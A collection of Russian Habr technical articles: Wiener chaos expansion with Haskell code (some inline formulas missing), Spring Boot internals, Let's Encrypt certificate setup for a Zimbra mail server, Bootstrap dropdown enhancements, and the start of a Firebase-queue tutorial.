С нотацией вроде разобрались. Теперь о том, что такое Винеровский хаос. Идем от простого:  содержит все линейные комбинации Эрмитовых полиномов со степенью 0, то есть различные комбинации чисел , то есть всё пространство вещественных чисел. Следовательно, . Идем дальше. Несложно увидеть, что , то есть пространство, составленное из Гауссовских процессов. Получается, что все центрированные нормальные величины принадлежат . Если мы добавим еще , то к ним присоединятся и остальные нормальные случайные величины, чье математическое ожидание отлично от нуля. Дальнейшие множества  уже оперируют с n-ми степенями .
*Пример.* Пусть  и  — квадрат Броуновского движения. Тогда ![$\begin{aligned} B(t)^2&=W(1_{[0,t]})^2 \\ & = \|1_{[0,t]} \|^2 \cdot W\bigg(\frac{1_{[0,t]}}{\|1_{[0,t]} \|}\bigg)^2 \\ & = t\cdot W\bigg(\frac{1_{[0,t]}}{\sqrt{t}}\bigg)^2\\ &=tH_2\bigg(W\bigg(\frac{1_{[0,t]}}{\sqrt{t}}\bigg)\bigg)+t. \end{aligned}$](https://habrastorage.org/getpro/habr/formulas/e6d/b46/c92/e6db46c920be258ec0988df7dcc879aa.svg)
Первое слагаемое принадлежит , второе — . Это и называется разложением в Винеровский хаос.
Мы показали ранее, что  для . Теорема о разложении гласит о том, что эти множества не только ортогональны друг другу, но также формируют полную систему в . Что это означает на практике? Это значит, что любая случайная величина  с конечной дисперсией может быть аппроксимирована полиномиальной функцией от нормально распределенной случайной величины.
**На самом деле**На самом деле, такое разложение полезно, если распределение  в определенном смысле близко к распределению нормальному. Например, если мы имеем дело с Броуновским движением или с логнормальным распределением. И мы не просто так упомянули, что  создаётся , это очень важное условие. В действительности, плотность нормального распределения
очень схожа с определением полинома Эрмита 
Если же распределение  далеко от Гаусса, то можно попробовать и другие ортогональные полиномы. Например, плотность Гамма-распределения: 
Ничего не напоминает? Да это же полиномы Лагерра 
Равномерному распределению соответствуют полиномы Лежандра, биномиальному распределению — полиномы Кравчука, и т.п. Теория, развивающая идею разложения вероятностного пространства на ортогональные полиномы именуется в англоязычной литературе как ***«Polynomial chaos expansion»***.
*Пример.* Давайте теперь возьмем , функцию  и зададим случайную величину , такую что 
где . По теореме о разложении мы можем представить её в виде взвешенной суммы из полиномов Эрмита 
где коэффициенты задаются формулой ![$f_n=\frac{1}{n!}\mathbb{E}[f(\xi) \cdot H_n(\xi)].$](https://habrastorage.org/getpro/habr/formulas/436/189/12f/43618912f9623969a388d8362704b58c.svg)
Эти значения  мы получили следующим образом: ![$\begin{aligned} \mathbb{E}[f(\xi)\cdot H_n(\xi)] & = \langle f(\xi), H_n(\xi) \rangle \\ &= \langle \sum_{k=0}^\infty f_k H_k(\xi) , H_n(\xi) \rangle \\ &= \sum_{k=0}^\infty f_k \langle H_k(\xi), H_n(\xi) \rangle \\ & = f_n \| H_n(\xi) \|^2 = f_n n!. \end{aligned}$](https://habrastorage.org/getpro/habr/formulas/7e7/228/e22/7e7228e224673905aa5e2e3733452480.svg)
Поздравляю! Теперь, если у вас есть функция от стандартной нормально распределенной случайной величины, вы сможете её разложить по базису из Эрмитовых полиномов. Например, подбрасывание честной монетки 0-1 мы можем представить в виде 
Немного поколдовав с математикой (подсчет несложных интегралов мы оставим читателю), мы получаем разложение: 
Заметьте, что каждый второй элемент в разложении по базису равен нулю.
```
-- | 'second' function takes a list and gives each second element of it
second (x:y:xs) = y : second xs
second _ = []
-- | 'coinTossExpansion' is a Wiener chaos expansion for coin-toss r.v. to n-th element
coinTossExpansion :: Int -- number of elements in the sum
-> Double -- gaussian random variable
-> Double -- the sum
coinTossExpansion n xi = sum (take n $ 0.5 : zipWith (*) fn (second $ hermite xi))
where fn = 1.0 / (sqrt $ 2 * pi) : zipWith ( \fn1 k -> -fn1 * k / ((k + 1) * (k + 2)) ) fn [1, 3..]
```
Функция ***coinTossExpansion*** возвращает сумму, полученную разложением случайной монетки в винеровский хаос, для данного  от  до . На графике показана постепенная сходимость для выбранных случайным образом  с возрастанием .
Судя по этому графику, где-то после  мы можем обрезать сумму, округлить и вернуть в качестве .
```
-- | 'coinTossSequence' is a coin-toss sequence of given size
coinTossSequence :: Seed -- random state
-> Int -- size of resulting sequence
-> [Int] -- coin-toss sequence
coinTossSequence seed n = map (round.coinTossExpansion 100) (toList nvec)
where nvec = gaussianProcess seed n 1 (\(i,j) -> 1) !! 0
```
Проверим, как будет выглядеть последовательность из 20 подбрасываний.
```
Prelude> coinTossSequence 42 20
[0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,1,1,0,1]
```
Теперь, когда вас попросят сгенерировать подбрасывания монетки, вы знаете, что им показать.
Ну а без шуток, мы что-то посчитали и что-то разложили, а какой в этом всем толк, спросите вы. Не спешите чувствовать себя обманутыми. В последующих статьях мы покажем, как это разложение позволяет брать производную от случайной величины (в некотором смысле), расширим стохастическое интегрирование (и ваше сознание), и найдем всему этому практическое применение в машинном обучении. | https://habr.com/ru/post/343148/ | null | ru | null |
# Обратная сторона Spring
Неделя Spring на Хабре, судя по всему, открыта. Хочется сказать спасибо переводчику и комментаторам статьи ["Почему я ненавижу Spring"](https://habrahabr.ru/post/334118/), которая не смотря на сильный негативный посыл в названии вызвала ряд интересных дискуссий, а так же тем, кто отреагировал на мою прошлую статью [Как писать на Spring в 2017](https://habrahabr.ru/post/333756/). Во многом благодаря комментариям к прошлой статье и появилась эта.
В этот раз мы погрузимся в пучины Spring фреймворка, разоблачим его магию, посмотрим как базовое веб приложение выглядит изнутри, и разберемся, какую-же задачу и как решает Spring Boot.
В комментариях к предыдущей статье несколько человек очень справедливо указали, что пример Hello World-а на Spring все же не очень показателен. Spring, особенно с использованием Spring Boot, дает ощущение простоты и всемогущества, но непонимание основ и внутренностей фреймворка ведет к большой опасности получить стектрейсом по логу. Что ж, чтобы немного развеять ощущение полной магии происходящего, сегодня мы возьмем приложение из предыдущей статьи и разберем, как и что происходит внутри фреймворка и от каких проблем нас отгораживает Boot. Целевая аудитория все же начинающие разработчики, но с некоторым опытом и базовыми знаниями Java и Spring. Хотя, возможно, и опытным пользователям Spring будет интересно освежить знания того, что происходит под капотом.
Ключевые понятия
================
Бины
----
Начнем срывать покровы с самых базовых понятий Spring. **Бин (bean)** — это не что иное, как самый обычный объект. Разница лишь в том, что бинами принято называть те объекты, которые управляются Spring-ом и живут внутри его DI-контейнера. Бином является почти все в Spring — сервисы, контроллеры, репозитории, по сути все приложение состоит из набора бинов. Их можно регистрировать, получать в качестве зависимостей, проксировать, мокать и т.п.
DI контейнер
------------
Ключевой и фундаментальный механизм Spring. Внешне очень простой, но внутри он предоставляет очень много механизмов для тонкой настройки зависимостей. По сути, любое приложение Спринг — это набор бинов, связанных вместе через DI контейнер.
Очень часто при обсуждении Spring звучит аргумент, что его можно легко заменить на любой леговесный DI контейнер (Guice, например) и получить то же самое, но легче и проще. И здесь очень важно понять — ценность Spring DI не в самом факте его наличия, а в его фундаментальности. Все библиотеки в экосистеме Spring, по сути, просто регистрируют свои бины в этом контейнере (включая и сам Spring) — и через иньекцию зависимостей разработчики приложения смогут получить нужные компоненты. Простой пример: при использовании **Spring Security OAuth** если сконфигурить параметры OAuth в `application.properties`, то Spring Security предоставит бин `OAuth2RestTemplate` который мы можем просто заинжектить в своем коде. И этот бин при обращении к внешнему API будет знать, куда и как пойти, чтобы получить OAuth токен, как его обновлять, в какое место нашего запроса его добавлять и т.п. Так вот ценность DI тут в том, что это просто механизм общения между нашим кодом и Spring Security. И простой заменой реализации DI на Guice не добиться, чтобы Spring Security тоже начал его использовать. А если в этом новом DI не будет интеграции со всеми библиотеками Spring-а, то и ценность его сильно падает.
Еще один очень важный момент, который многие упускают при обсуждении DI контейнера, это то, что использование инъекции зависимостей не подразумевает создания интерфейсов для **каждого** компонента. Это очень простая мысль, но я много раз видел, что из-за своей простоты она не всегда очевидна. Более того, создание интерфейса, если у него лишь одна реализация — считается плохой практикой. Т.е. классы вполне могут сами по себе быть объектами DI. Более того, отсутствие интерфейса даже не мешает их мокать в тестах, т.к. Mockito, например, вполне умеет мокать классы.
Контекст
--------
Представлен интерфейсом `ApplicationContext`. По сути, представляет собой само приложение Spring. Так же контекст предоставляет возможности реагировать на различные события, которые происходят внутри приложения, управлять жизненным циклом бинов (создавать как синглтон или на каждый запрос, например).
Конфигурация
------------
Итак, если приложение — это набор бинов, чтобы оно заработало нам нужно этот набор описать.
**Конфигурация** — это просто описание доступных бинов. Spring дает несколько вариантов, как можно описать набор бинов, которые сформируют приложение. Исторический вариант — это через набор **xml файлов**. В наши дни ему на смену пришли **Java аннотации**. Spring Boot построен на аннтациях чуть более, чем полностью и большинство современных библиотек в принципе тоже можно сконфигурить через аннотации. В третьем своем поколении, конфигурация бинов пришла к подходу функциональной регистрации (**functional bean registration**), которая станет одной из важных новых фич готовящегося к выходу Spring 5.
Типичный класс конфигурации может, выглядеть, например так:
```
@Configuration
class PaymentsServiceConfiguration {
@Bean
public PaymentProvider paymentProvider() {
return new PayPalPaymentProvider();
}
@Bean
public PaymentService paymentService(PaymentProvider paymentProvider) {
return new PaymentService(paymentProvider);
}
}
```
Эта конфигурация определяет два бина, причем второй зависит от первого. И здесь в игру вступит Spring – когда мы просим предоставить инстанс `PaymentProvider` — Spring найдет его в контексте и предоставит нам.
Конфигурацию не обязательно описывать в одном огромном файле, можно разбить на несколько и объединять их с помощью `@Import` аннотаций.
Сканирование компонентов
------------------------
Достаточно важный компонент Spring Framework, еще один подход к упрощению конфигурации приложения. Идея очень простая — если мы знаем, что наш класс `MyCoolComponent` должен регистрировать бин с именем `myCoolComponent`, зачем каждый раз писать `@Bean MyCoolComponent myCoolComponent(dependencies...) { return new MyCoolComponent(dependencies...); }`? Почему просто не дать Spring–у автоматом зарегистрировать и создать бин на основании нужного класса? Эту задачу и решает сканирование компонентов. Т.е. если мы объявим наш класс как
```
@Component
class MyCoolComponent {
MyCoolComponent(dependencies...) {
}
}
```
и разрешим сканирование компонентов — то Spring сам создаст и зарегистрирует бин с именем `myCoolComponent`, использовав конструктор класса и заинжектив туда все зависимости.
> Со сканированием компонентов надо быть осторожным, т.к. по сути оно неявно меняет контекст приложения. Например, если у нас есть интерфейс и две реализации — и на каждом указан `@Component`, то при попытке заинжектить зависимость на интерфейс Spring бросит исключение, что есть два бина, которые удовлетворяют запросу.
Резюме
------
Итак, вещи которые нужно запомнить: приложение Spring, описанное интерфейсом `ApplicationContext`, представляет собой набор объектов (*бинов*), управляемых DI контейнером. Конфигурация набора бинов осуществляется с помощью классов конфигурации (аннотация `@Configuration`), которые могут быть комбинированы с помощью импортов (аннотация `@Import`).
Spring Boot
===========
Теперь переходим к следующей части. Допустим, нам надо сконфигурить подключение к MySQL базе данных. Если мы хотим использовать **Spring Data JPA** с **Hibernate** в качестве провайдера, нам потребуется сконфигурировать несколько бинов — `EntityManagerFactory` (основной класс JPA), `DataSource` для подключения непосредственно к базе через JDBC драйвер и т.п. Но с другой стороны, если мы это делаем каждый раз и, по сути, делаем одно и то же — почему бы это не автоматизировать? Скажем, если мы указали строку подключения к базе и добавили зависимость на MySQL драйвер — почему бы *чему-то* автоматически не создать все нужные бины для работы с MySQL? Именно это и делает **Spring Boot**. По сути, **Spring Boot** это просто набор классов конфигурации, которые создают нужные бины в контексте. Точно так же их можно создать руками, просто Boot это автоматизирует.
Автоконфигурация
----------------
Важное понятие **Spring Boot** это автоконфигурация. По сути, это просто набор конфигурационных классов, которые создают и регистрируют определенные бины в приложении. По большому счету, даже сам **Embedded Servlet Container** — это просто еще один бин, который можно сконфигурировать! Пара важных моментов, которые важно знать об автоконфигурации:
* Включается аннотацией `@EnableAutoConfiguration`
* Работает в *последнюю очередь*, после регистрации пользовательских бинов
* Принимает решения о конфигурации на основании доступных в classpath классов, свойств в `application.properties` и т.п.
* Можно включать и выключать разные аспекты автоконфигурации, и применять ее частично (например, только MySQL + JPA, но не веб)
* Всегда отдает приоритет пользовательским бинам. Если ваш код уже зарегистрировал бин `DataSource` — автоконфигурация не будет его перекрывать
Условия и порядок регистрации бинов
-----------------------------------
Логика при регистрации бинов управляется набором `@ConditionalOn*` аннотаций. Можно указать, чтобы бин создавался при наличии класса в classpath (`@ConditionalOnClass`), наличии существующего бина (`@ConditionalOnBean`), отсуствии бина (`@ConditionalOnMissingBean`) и т.п.
**Spring Boot** активно использует эти аннотации чтобы оставаться как можно более незаметным и не перекрывать пользовательские конфигурации.
Погружение в Hello World
========================
Теперь, имея в запасе базовые теоретические знания, разберем что же происходит при запуске приложения.
Итак, наше приложение включает такой код:
```
@SpringBootApplication
public class DemoApplication {
public static void main(String[] args) {
SpringApplication.run(DemoApplication.class, args);
}
}
```
Давайте разберем что здесь происходит по шагам.
Класс `DemoApplication`
-----------------------
Этот класс помечен аннотацией `@SpringBootApplication`, что является **мета-аннотацией**, т.е. по сути, является алиасом для нескольких аннотаций:
* `@SpringBootConfiguration`
* `@EnableAutoConfiguration`
* `@ComponentScan`.
Т.е. наличие `@SpringBootApplication` включает сканирование компонентов, автоконфигурацию и показывает разным компонентам Spring (например, интеграционным тестам), что это **Spring Boot** приложение
SpringApplication.run()
-----------------------
Это просто хелпер, который делает пару вещей — используя список предоставленных конфигураций (а класс `DemoApplication` сам по себе конфигурация, см. выше) создает `ApplicationContext`, конфигурирует его, выводит баннер в консоли и засекает время старта приложения и т.п. Его можно заменить на ручное создание контекста: `new AnnotationConfigApplicationContext(DemoApplication.class)`. Как можно понять из названия, это контекст приложения, который конфигурируется с помощью аннотаций. Однако, этот контекст не знает ничего об embedded servlet container-ах, и совершенно точно не умеет себя запускать. Его наследник, уже из **Spring Boot** — `AnnotationConfigEmbeddedWebApplicationContext` делать это вполне умеет, и если мы в методе `main` напишем просто
```
@SpringBootApplication
public class DemoApplication {
public static void main(String[] args) throws InterruptedException {
ApplicationContext applicationContext =
new AnnotationConfigEmbeddedWebApplicationContext(DemoApplication.class);
}
}
```
То получим точно такое же работающее приложение, т.к. класс `AnnotationConfigEmbeddedWebApplicationContext` найдет в контексте бин типа `EmbeddedServletContainerFactory` и через него создаст и запустит встроенный контейнер. Обратите внимание, что все это работает в рамках общего DI контейнера, то есть этот класс можно реализовать самим.
@EnableAutoConfiguration
------------------------
Эта аннотация включает автоконфигурацию. И здесь, пожалуй, ключевой момент в развенчании магии Spring. Вот как объявлена эта аннотация:
```
...
@Import(EnableAutoConfigurationImportSelector.class)
public @interface EnableAutoConfiguration {
...
}
```
Т.е. это самый обычный *импорт* конфигурации, про который мы говорили выше. Класс же `EnableAutoConfigurationImportSelector` (и его преемник в Spring Boot 1.5+ — `AutoConfigurationImportSelector`) это просто конфигурация, которая добавит несколько бинов в контекст. Однако, у этого класса есть одна тонкость — он не объявляет бины сам, а использует так называемые *фабрики*.
Класс `EnableAutoConfigurationImportSelector` смотрит в файл `spring.factories` и загружает оттуда список значений, которые являются *именами классов (авто)конфигураций, которые Spring Boot импортирует*.
Кусочек файла `spring.factories` (он находится в папке `META-INF` внутри `spring-boot-autoconfigure..jar`), который нам сейчас нужен это:
```
org.springframework.boot.autoconfigure.EnableAutoConfiguration=\
org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration,\
... (100 lines)
org.springframework.boot.autoconfigure.webservices.WebServicesAutoConfiguration
```
Т.е. аннотация `@EnableAutoConfiguration` просто импортирует все перечисленные конфигурации, чтобы предоставить нужные бины в контекст приложения.
По сути, ее можно заменить на ручной импорт нужных конфигураций:
```
@Import({
org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration.class,
org.springframework.boot.autoconfigure.aop.AopAutoConfiguration.class,
...})
public class DemoApplication {
...
}
```
Однако, особенность в том, что Spring Boot пытается применить **все** конфигурации (а их около сотни). Я думаю, у внимательного читателя уже появилась пара вопросов, которые стоит прояснить.
* "Но это же медленно!". И да, и нет — под рукой нет точных цифр, но сам по себе процесс автоконфигурации очень быстрый (порядка сотни миллисекунд на абстрактной машине в вакууме)
* "Но это же излишне, зачем мне конфигурить Rabbit (`RabbitAutoConfiguration`) если я его не использую?". Наличие автоконфигурции не значит, что бин будет создан. Автоконфигурационные классы активно используют `@ConditionalOnClass` аннотации, и в большинстве случаев конфигурация ничего делать и создавать не будет (см. выше "Условия и порядок регистрации бинов").
Краткое резюме
--------------
В основе "магии" Spring Boot нет ничего магического, он использует совершенно базовые понятия из Spring Framework. В кратком виде процесс можно описать так:
1. Аннотация `@SpringBootApplication` включает сканирование компонентов и авто-конфигурацию через аннотацию `@EnableAutoConfiguration`
2. `@EnableAutoConfiguration` импортирует класс `EnableAutoConfigurationImportSelector`
3. `EnableAutoConfigurationImportSelector` загружает список конфигураций из файла `META-INF/spring.factories`
4. Каждая конфигурация пытается сконфигурить различные аспекты приложения (web, JPA, AMQP etc), регистрируя нужные бины и используя различные условия (наличие / отсутствие бина, настройки, класса и т.п.)
5. Созданный в итоге `AnnotationConfigEmbeddedWebApplicationContext` ищет в том же DI контейнере фабрику для запуска embedded servlet container
6. Servlet container запускается, приложение готово к работе!
Это может выглядеть сложно, но по большей части разработчикам приложений влезать во внутренности автоконфигурации не нужно, если речь не идет о поддержке авто-конфигурации для своей библиотеке.
Диагностика
===========
Auto-configuration report
-------------------------
В случае, когда что-то идет не так, Spring Boot позволяет запустить диагностику автоконфигурации и посмотреть, какие именно бины были созданы. Чтобы увидеть эту информацию, нужно запустить приложение с ключом `--debug`.
```
java -jar my-app.jar --debug
```
В ответ Spring выдаст детальный *Auto-configuration report*:
```
=========================
AUTO-CONFIGURATION REPORT
=========================
Positive matches:
-----------------
DataSourceAutoConfiguration matched:
- @ConditionalOnClass found required classes 'javax.sql.DataSource', 'org.springframework.jdbc.datasource.embedded.EmbeddedDatabaseType'; @ConditionalOnMissingClass did not find unwanted class (OnClassCondition)
DataSourceAutoConfiguration#dataSourceInitializer matched:
- @ConditionalOnMissingBean (types: org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer; SearchStrategy: all) did not find any beans (OnBeanCondition)
...
Negative matches:
-----------------
ActiveMQAutoConfiguration:
Did not match:
- @ConditionalOnClass did not find required classes 'javax.jms.ConnectionFactory', 'org.apache.activemq.ActiveMQConnectionFactory' (OnClassCondition)
...
```
Строчка в Positive / Negative matches будет *для каждой примененной автоконфигурации*, более того, Boot сообщит, почему тот или иной бин был создан (т.е. укажет, какие из условий регистрации были выполнены).
Actuator
--------
Spring Boot Actuator это мощный инструмент диагностики работающего приложения, который умеет давать много полезной аналитики (более того, набор этих метрик можно легко расширять из приложения).
После добавления Actuator к проекту, **Spring Boot** опубликует список доступных бинов через URL `http://localhost:8080/beans`. Этот список так же доступен через JMX (Java Management Extensions), и последняя версия Intellij IDEA умеет показывать все бины приложения прямо из окна запуска.
Резюме
======
Spring все же остается большим и не самым простым фреймворком, но это цена высокоуровневых абстракций, которые он предоставляет. И хотя знать все тонкости работы фреймворка в ежедневной разработке не нужно, знать, как он работает изнутри, все же, полезно. Надеюсь, что эта статья помогла понять важность и ценность Spring именно как экосистемы и убрала немного "магичности" в происходящем, особенно при использовании Spring Boot. Мой совет — не бойтесь углубляться в недра фреймворка, читайте исходники и документацию, благо они у Spring-a почти эталонные, на мой взгляд.
Так же стоит отметить, что в готовящемся к выходу в сентябре **Spring 5** появится несколько новых концепций, направленных на создание простых приложений, и понижение уровня "магии" (хотя, как мы выяснили, магии там особо и нет). Одна из концепций это **Functional Bean Registration**, которая позволяет регистрировать бины в контексте с помощью функций, или даже с помощью неплохого DSL на Kotlin (а Spring 5 добавит много хорошего для поддержки Kotlin). Следующая, но еще более важная вещь, это комбинация **Functional Web Framework** и **WebFlux (reactive web framework)**, которая позволит создавать веб-приложения вообще без зависимости на Spring MVC и запускать их без сервлет контейнеров. Приложение вполне сможет работать без контекста приложений и DI, и описываться просто как набор функций `request -> response`. Об этом можно чуть больше почитать [здесь](http://blog.alexnesterov.com/post/spring-your-next-microframework/) (на английском). | https://habr.com/ru/post/334448/ | null | ru | null |
# Установка и обновление сертификата Let's encrypt для почтового сервера Zimbra
В прошлый статьях нас попросили рассказать об установке и обновлении сертификатов Let’s Encrypt.
**Let’s Encrypt** — центр сертификации, предоставляющий бесплатные криптографические сертификаты X.509 для TLS шифрования (HTTPS). Процесс выдачи сертификатов полностью автоматизирован.
Выдача Let's Encrypt
--------------------
Запрос на Let's Encrypt желательно выполнить на сервере с Zimbra, чтобы получить сертификат SSL, CA Intermediate и Private Key. Для этого необходимо остановить службу почтового сервера (порты 80 и 443):
1. Останавливаем службы.
`zmproxyctl stop
zmmailboxdctl stop`
2. Загружаем пакет Let's Encrypt и заходим в каталог letencrypt:
**Примечание.** В RedHat и CentOS 6 перед установкой вам нужно будет включить репозиторий EPEL.
`git clone https://github.com/letsencrypt/letsencrypt
cd letsencrypt`
3. Запустите автоматический скрипт Let's Encrypt, используйте параметр certonly.
`root@zimbra86:~/tmp/letsencrypt# ./letsencrypt-auto certonly --standalone`
Сценарий настроит временный WEB-сервер для проверки и выдачи сертификата, при необходимости соглашаясь с лицензией и сообщив электронную почту:
Если вам нужно иметь несколько имен хостов на одном и том же SSL, то вместо этого следует использовать протокол Multi-SAN, SSL, где -d — ваши домены:
`root@zimbra86:~/tmp/letsencrypt# ./letsencrypt-auto certonly --standalone -d xmpp.example.com -d conference.example.com`
4. Если все будет хорошо с проверкой, то сертификат (сертификат + открытый ключ + цепочка) будет выпущен в формате **«/etc/letencrypt/live/address/»**:
5. На этом этапе вы можете снова запустить сервис и начать установку подписанного сертификата. Чтобы реализовать сертификат в Zimbra вам нужно дополнить цепочку «root CA». Создайте файл с «root CA» и строками файла «fullchain1.pem»)
`root CA: (https://www.identrust.com/certificates/trustid/root-download-x3.html)`
6. После того, как файл был создан, проверьте файлы с помощью следующей команды:
`/opt/zimbra/bin/zmcertmgr verifycrt comm privkey.pem cert.pem CHAIN_COMPLETA.pem`
7. Выполните проверку, создайте резервные копии текущих сертификатов (настоятельно рекомендуется) и скопируйте секретный ключ в каталог «/opt/zimbra/ssl/zimbra/commercial» с именем «commercial.key»:
`cp -a /opt/zimbra/ssl/zimbra /opt/zimbra/ssl/zimbra.$(date "+%Y%m%d")
cp privkey.pem /opt/zimbra/ssl/zimbra/commercial/commercial.key`
8. Выполните установку сертификата и перезапустите службы для проверки развертывания
`/opt/zimbra/bin/zmcertmgr deploycrt comm cert.pem chain.pem`
9. Правильная установка сертификата:
10. Перезагрузите сервис
`zmcontrol restart`
Обновление сертификатов
-----------------------
1. Останавливаем Zimbra.
`/etc/init.d/zimbra stop`
2. Получаем новые сертификаты и запускаем почтовый сервер.
`certbot certonly --standalone -d mail.example.com
/etc/init.d/zimbra start`
3. Полученные сертификаты потребуется загрузить в Zimbra. Копируем сертификаты:
`cp /etc/letsencrypt/live/zimbra86.zimbra.io/* /opt/zimbra/ssl/letsencrypt/
chown zimbra:zimbra /opt/zimbra/ssl/letsencrypt/
cd /opt/zimbra/ssl/letsencrypt/`
4. В конец файла chain.pem добавляем промежуточный сертификат Let's encrypt:
`-----BEGIN CERTIFICATE-----
MIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/
MSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT
DkRTVCBSb290IENBIFgzMB4XDTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVow
PzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMRcwFQYDVQQD
Ew5EU1QgUm9vdCBDQSBYMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AN+v6ZdQCINXtMxiZfaQguzH0yxrMMpb7NnDfcdAwRgUi+DoM3ZJKuM/IUmTrE4O
rz5Iy2Xu/NMhD2XSKtkyj4zl93ewEnu1lcCJo6m67XMuegwGMoOifooUMM0RoOEq
OLl5CjH9UL2AZd+3UWODyOKIYepLYYHsUmu5ouJLGiifSKOeDNoJjj4XLh7dIN9b
xiqKqy69cK3FCxolkHRyxXtqqzTWMIn/5WgTe1QLyNau7Fqckh49ZLOMxt+/yUFw
7BZy1SbsOFU5Q9D8/RhcQPGX69Wam40dutolucbY38EVAjqr2m7xPi71XAicPNaD
aeQQmxkqtilX4+U9m5/wAl0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNV
HQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMSnsaR7LHH62+FLkHX/xBVghYkQMA0GCSqG
SIb3DQEBBQUAA4IBAQCjGiybFwBcqR7uKGY3Or+Dxz9LwwmglSBd49lZRNI+DT69
ikugdB/OEIKcdBodfpga3csTS7MgROSR6cz8faXbauX+5v3gTt23ADq1cEmv8uXr
AvHRAosZy5Q6XkjEGB5YGV8eAlrwDPGxrancWYaLbumR9YbK+rlmM6pZW87ipxZz
R8srzJmwN0jP41ZL9c8PDHIyh8bwRLtTcm1D9SZImlJnt1ir/md2cXjbDaJWFBM5
JDGFoqgCWjBH4d1QB7wCCZAA62RjYJsWvIjJEubSfZGL+T0yjWW06XyxV3bqxbYo
Ob8VZRzI9neWagqNdwvYkQsEjgfbKbYK7p2CNTUQ
-----END CERTIFICATE-----`
Если вы не добавите промежуточный сертификат, то получите ошибку на этапе проверки:
`ERROR: Unable to validate certificate chain: cert.pem: C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
error 2 at 1 depth lookup:unable to get issuer certificate`
5. Проверяем установленные ключи и сертификаты:
`su zimbra
$ cp /opt/zimbra/ssl/letsencrypt/privkey.pem /opt/zimbra/ssl/zimbra/commercial/commercial.key
$ /opt/zimbra/bin/zmcertmgr verifycrt comm privkey.pem cert.pem chain.pem`
6. Если проверка прошла успешно, то устанавливаем обновленные сертификаты:
`$ /opt/zimbra/bin/zmcertmgr deploycrt comm cert.pem chain.pem`
7. Для применения установленного сертификата перезапустите все сервисы Zimbra:
`# /etc/init.d/zimbra restart`
Готово!
Те же, кто желает автоматизировать процесс установки новых сертификатов, могут воспользоваться специальным скриптом, опубликованным на сайте [GitHub](https://github.com/penzoiders/zimbra-auto-letsencrypt).
Для того, чтобы все работало, необходимо:
Установить утилиту Certbot при помощи команды yum -y install certbot
Затем клонировать указанную ветку с помощью команды git clone [github.com/penzoiders/zimbra-auto-letsencrypt.git](https://github.com/penzoiders/zimbra-auto-letsencrypt.git)
Отредактировать файл letsencrypt-zimbra.conf, чтобы он соответствовал вашей системе
Перейти в папку со скриптом и его с помощью ./zimbra-auto-letsencrypt.sh
Обращаем ваше внимание на то, что скрипт не только самостоятельно обновит сертификат, но также перезапустит все сервисы, которые потребуется. Использование скрипта можно полностью автоматизировать, настроив его исполнение через определенный временной интервал.
По всем вопросам, связанными c Zextras Suite вы можете обратиться к Представителю компании «Zextras» Екатерине Триандафилиди по электронной почте ekaterina.triandafilidi@zextras.com | https://habr.com/ru/post/345844/ | null | ru | null |
# Bootstrap Dropdown Menus Enhancement
Мне очень нравятся выпадающие меню из Bootstrap. Благодаря простой и понятной семантике их легко и приятно использовать при верстке.
Но для полного счастья мне не хватало некоторой функциональности.
#### 1. radio и checkbox
В сети существует великое множество плагинов для стилизации `select` и `select multiple`, но мне хотелось что-то простое и универсальное, и раз уж я использую «Bootsrap Dropdown Menus» в своем проекте, то почему бы с минимальными усилиями не заставить их выполнять эту задачу. [Что и было сделано](http://behigh.github.com/bootstrap_dropdowns_enhancement/#inputs).
#### 2. позиционирование
Иногда требуется расположить меню выше кнопки или по центру. Для этого помимо стандартного `.pull-right` были внедрены новые классы `.pull-top`, `.pull-center`, `.pull-middle`.
#### 3. bullet
Класс `.bullet` добавляет стрелочку к меню.
---
* [Демо и документация](http://behigh.github.com/bootstrap_dropdowns_enhancement/)
* [Проект на GitHub](https://github.com/behigh/bootstrap_dropdowns_enhancement)
Буду рад любым комментариям, замечаниям, дополнениям. Спасибо за внимание.
PS: Страница на GitHub оформлена на английском языке. Я не очень силен в английском, поэтому буду рад любой помощи в исправлении неточностей и ошибок.
**UPD** Добавлено закрытие меню при щелчке по радио-кнопке… Добавлена возможность оставлять меню открытым, для этого нужно добавить класс `.noclose` к dropdown-menu (см. демо). | https://habr.com/ru/post/175027/ | null | ru | null |
# Firebase-queue: стероиды для firebase
Про Firebase уже не раз писали на хабре. Ключевым преимуществом этой системы является то, что в некоторых случаях на ней можно построить завершенное веб-приложение работающее с данными в реальном времени. Располагая возможностью редактирования правил доступа к базе данных и тем что эти правила можно устроить на основе пользователей (которых сюда тоже завезли), в принципе можно обойтись и без какого-либо backend'a. Но обычно возникают такие проблемы, которые лучше решить «со стороны» чем плодить велосипеды в правилах ([например](http://stackoverflow.com/a/23132570/1594839)).
В середине мая разработчики объявили о выходе [firebase-queue](https://github.com/firebase/firebase-queue). Это javascript-библиотека с помощью которой можно организовать работу с данными в базе, как с задачами. Работает это следующим образом: определяем ячейку задач, используя **Queue()** на сервере устанавливаем связь. Теперь, когда в этой ячейке появится новый элемент, сервер сделает необходимые действия, если нужно оповестит о прогрессе и ошибках, и по завершению удалит задачу. В итоге мы получаем возможность покрыть много проблем возникающих в разработке с Firebase — согласовать данные, провести их дополнительную валидацию (например проверить на спам и мат) отправить их в другое место (например загрузить картинку на хостинг) и другое.
В качестве примера возьмем вышеупомянутый вопрос из stackoverflow. Имеем объект с n-ым количеством элементов. Хотим после добавления/удаления элемента обновлять счетчик общего количества. В базе определим два объекта: **elements** и **length**. Также в правилах укажем ячейки задач **addnode** и **rmnode**. В них с клиента будем отправлять тот объект, который хотим получить и удалить соответственно из **elements**.
```
var ref = new Firebase('https://***.firebaseio.com');
var addNode = function(text) {
// используем kriskowal/q для промисов
var deferred = Q.defer();
var task = ref.child('addnode').push({ new: text }, function(e) { if (e) {
deferred.reject(e);
} else {
